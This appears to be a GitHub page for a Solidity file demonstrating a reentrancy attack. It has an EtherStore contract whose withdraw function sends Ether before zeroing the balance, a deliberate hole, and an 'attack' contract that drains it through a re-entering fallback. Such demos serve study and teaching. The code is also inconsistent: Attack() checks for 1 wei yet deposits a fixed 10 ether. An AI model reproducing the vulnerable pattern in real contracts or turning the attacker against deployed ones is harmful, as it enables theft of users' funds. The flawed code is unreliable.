-
Notifications
You must be signed in to change notification settings - Fork 0
/
reentrancy.sol
51 lines (39 loc) · 1.16 KB
/
reentrancy.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract EtherStore{
mapping(address => uint) public balances;
function deposit() public payable{
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
function getBalance() public view returns(uint){
return address(this).balance; //this get the balance of this contract
}
}
contract attack{
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}
function Attack() external payable{
require(msg.value >=1 );
etherStore.deposit{value: 10 ether}();
etherStore.withdraw();
}
function getBalance() public view returns(uint){
return address(this).balance;
}
}
git push --set-upstream origin master